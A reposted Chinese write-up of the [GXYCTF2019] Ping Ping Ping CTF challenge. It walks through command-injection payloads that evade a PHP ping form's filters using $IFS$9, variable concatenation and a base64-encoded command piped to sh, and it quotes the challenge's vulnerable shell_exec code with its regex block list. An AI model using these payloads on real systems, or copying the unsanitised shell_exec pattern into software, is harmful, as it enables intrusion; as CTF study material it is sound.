[BUUOJ记录] [GXYCTF2019]Ping Ping Ping
Posted yesec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BUUOJ记录] [GXYCTF2019]Ping Ping Ping相关的知识,希望对你有一定的参考价值。
主要考察RCE的防护绕过,感觉考的还是比较全的
先构造Payload:
?ip=127.0.0.1;ls
看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符号以及Flag字符串,fuzz出这些就会发现=和$没有过滤
所以想到的思路就是使用$IFS$9
代替空格,使用拼接变量来拼接出Flag字符串:
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b
然后发现还是被过滤了Flag,猜测后端应该是对最终构成的语句进行了正则匹配,但是可以读取到index.php:
<?php if(isset($_GET[‘ip‘])){ $ip = $_GET[‘ip‘]; if(preg_match("/&|/|?|*|<|[x{00}-x{1f}]|>|‘|"||(|)|[|]|{|}/", $ip, $match)){ echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|‘|"||(|)|[|]|{|}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
这里还是想说一个坑:RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析!
过滤了bash,可以用sh命令来实现,然后使用base64编码来绕过关键词的验证,构造Payload:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh
查看源代码获得Flag:
以上是关于[BUUOJ记录] [GXYCTF2019]Ping Ping Ping的主要内容,如果未能解决你的问题,请参考以下文章
WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [GXYCTF2019]BabyUpload
[BUUOJ记录] [CISCN 2019 初赛]Love Math